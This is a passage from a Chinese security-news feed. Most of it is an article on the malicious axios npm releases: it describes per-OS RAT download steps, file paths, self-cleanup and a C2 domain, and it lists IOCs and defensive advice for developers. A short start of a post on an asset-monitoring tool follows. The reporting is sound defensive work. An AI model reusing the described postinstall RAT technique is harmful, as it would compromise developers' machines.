payload。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">macOS</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：用 AppleScript 写临时文件，下载 RAT 二进制到 /Library/Caches/com.apple.act.mond，静默执行</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260331143708852" class="rich_pages wxw-img" data-ratio="0.19454770755885997" data-type="png" data-w="807" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016884" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=089e4892&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTbL653wxc9hIHWPyxd1y4VSDqeDQO2KnvQ35jzkFpwz6XkDpWehpaia3qck0ic3jGesck7D4oDl87icelW2oTr7Kx4AEN7Iicy5XeY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Windows</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：用 PowerShell + VBScript 隐藏窗口，下载 .ps1 脚本，伪装成 wt.exe</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260331143624412" class="rich_pages wxw-img" data-ratio="0.21818181818181817" data-type="png" data-w="770" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016883" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=321fad7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTa849ibzq4DiaNgv6cwZDkHvv9VEactLfnk2Dg3Jc33OtQr7Rb91oxc29HfjDAwz5qhqf5xs2q7MXESJrmZRt08z79tSY0jibJb8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Linux</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：直接 curl 下载 Python 脚本到 /tmp/ld.py。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260331143643983" class="rich_pages wxw-img" data-ratio="0.14393939393939395" data-type="png" data-w="792" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016885" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f685f506&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTZr1ItykrvRrM269V7TOfzn2skziaf4vUQOfIbcGYSiaTwLiaAkgrxVRqhqjniccM0S8hibWcbshroj3L9ib2FyIKptN16SaMHjKPkf0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">自清除</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：执行完后删除自身痕迹，并把自己的 package.json 替换成干净版本，增加取证难度。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">一句话：</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">安装即感染</span></span></strong><span style="box-sizing: border-box;"><span leaf="">，无需手动运行任何命令，属于典型的供应链后门。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">GitHub 社区的快速响应</span></span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;padding-left: 2em;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">社区第一时间在 Axios 仓库 <a class="wx_topic_link" topic-id="mne8zfey-lk2nr8" style="color: #576B95 !important;" data-topic="1" data-recommend="">#10604</a> 报告问题，并附上 StepSecurity 分析链接。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">维护者迅速 pinned 该 issue，尝试触发干净版本发布（1.14.2），并呼吁 npm 吊销所有 token。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">多家知名项目（Streamlit、Laravel、Apollo 等）已紧急 pin 版本或 revert 依赖。</span></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">目前恶意包已从 npm 下架，GitHub 账户权限问题仍在处理中。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">给开发者的实用建议</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">立刻检查</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：npm ls axios 或 yarn why axios，确认自己项目里没有 1.14.1 / 0.30.4。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、锁定安全版本：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">&#34;axios&#34;: &#34;^1.14.0&#34; // 或明确 &#34;1.14.0&#34;</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">推荐使用 npm audit 或 dependabot 自动监控。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、养成好习惯：</span></span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;padding-left: 2em;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">开启 npm audit fix --force 前先看变更。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">使用 pnpm 或 yarn 的 lockfile + 严格版本锁定。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">生产环境建议走内部镜像或 Snyk/StepSecurity 等供应链扫描工具。</span></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">4、</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">监控异常</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：关注 postinstall 脚本、网络外联（尤其是陌生域名）。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">给安全从业人员的进阶思考</span></span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;padding-left: 2em;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">供应链攻击趋势</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：2024-2026 年此类“维护者账户+postinstall RAT”攻击频发（类似 event-stream、colors.js 等）。核心是</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">凭证泄露</span></span></strong><span style="box-sizing: border-box;"><span leaf="">而非代码仓库入侵。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">检测要点：</span></span></p></li><ul style="box-sizing: border-box;padding-left: 2em;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">恶意 shasum：axios@1.14.1 (2553649f232204966871cea80a5d0d6adc700ca)</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">C2 域名：sfrclak.com</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">文件路径：/Library/Caches/com.apple.act.mond、/tmp/ld.py、%TEMP%\6202033.ps1 等。</span></span></p></li></ul><ul style="box-sizing: border-box;padding-left: 2em;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">包元数据：无 OIDC、无 gitHead、手动发布。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">依赖图：新增未被引用的包 + postinstall 钩子。</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">IOC（可直接用于规则）：</span></span></p></li></ul><li style="box-sizing: border-box;margin: 0px;white-space: normal;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: normal;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">防御升级</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：建议组织引入 npm 发布双因子 + OIDC 强制、SBOM 生成、持续供应链扫描（OSV / Dependency-Track）。</span></span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">总结</span></span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">这次攻击虽然被及时遏制，但暴露了开源维护者单一凭证的风险。Axios 作为数百万项目的基石，一次短暂入侵就可能波及全球开发者。</span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">供应链安全不是“别人家的事”</span></span></strong><span style="box-sizing: border-box;"><span leaf="">——每一次 npm install 都是信任链的一环。希望这次事件能推动更多团队从“被动打补丁”转向“主动供应链防御”。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你正在用 Axios，或者负责项目依赖安全，欢迎把这篇文章转发给团队，一起把风险降到最低。遇到新动态我会继续跟进！</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">参考：</span></span></h3><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" target="_blank">https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan</a></span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://github.com/axios/axios/issues/10604" target="_blank">https://github.com/axios/axios/issues/10604</a></span></p></blockquote><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5555555555555556" data-s="300,640" data-type="jpeg" data-w="900" type="block" data-imgfileid="100016742" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7aa9e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTYCLG3nbQGj1PzcHTtGjMtGo3dibibDzKxxWTicH9x3F1oz7TJO7GDmIp9Zr0uoZZLf1MmLXmlWRiaGFhF3Yom896b6aO5eueXjVm4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3edd0864&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500537%26idx%3D1%26sn%3De0968d5cafdafc1627655b0ad12dbf6d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Mar 2026 14:44:00 +0800</pubDate>
    </item>
    <item>
      <title>新增 APP 小程序的资产管理</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500510&amp;idx=1&amp;sn=48e82192088cf9e38b62b28e70b670bc</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-03-27 09:21</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=11c3c3b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTaJvPaM1SE3SId2VzPr7HShO6eMicSNW6Z9q4FqSM9Itzz3N9ZY4oxeDW0iaCEpaNkFydibUzApK5DmaP5XYrw5FMYmfGIZFUiaUAE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">今日未发现新的 SRC 活动上线，不过明天有两场白帽子活动，欢迎大家踊跃参加：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4181222707423581" data-s="300,640" data-type="png" data-w="916" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/VnwOz8XYCTb210HibSOW4XjZqeIq4uorqBDQCticicib19q0B8tErLVWPuqloiaxcbQ8TLcDxNbM0JcvI7Q58X8ibhqlnErVbic2g8X2RnvcF1iauuY/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="578" data-cropsely2="277" data-imgfileid="100016861" src="https://wechat2rss.xlab.app/img-proxy/?k=7714b031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTb210HibSOW4XjZqeIq4uorqBDQCticicib19q0B8tErLVWPuqloiaxcbQ8TLcDxNbM0JcvI7Q58X8ibhqlnErVbic2g8X2RnvcF1iauuY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">今天要分享的是 SRC 资产监控系统的一个功能更新，新增了企业备案 APP 和程序资产，如图：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img alt="image-20260327090700817" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100016854" data-ratio="0.5074074074074074" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-type="png" data-w="1080" 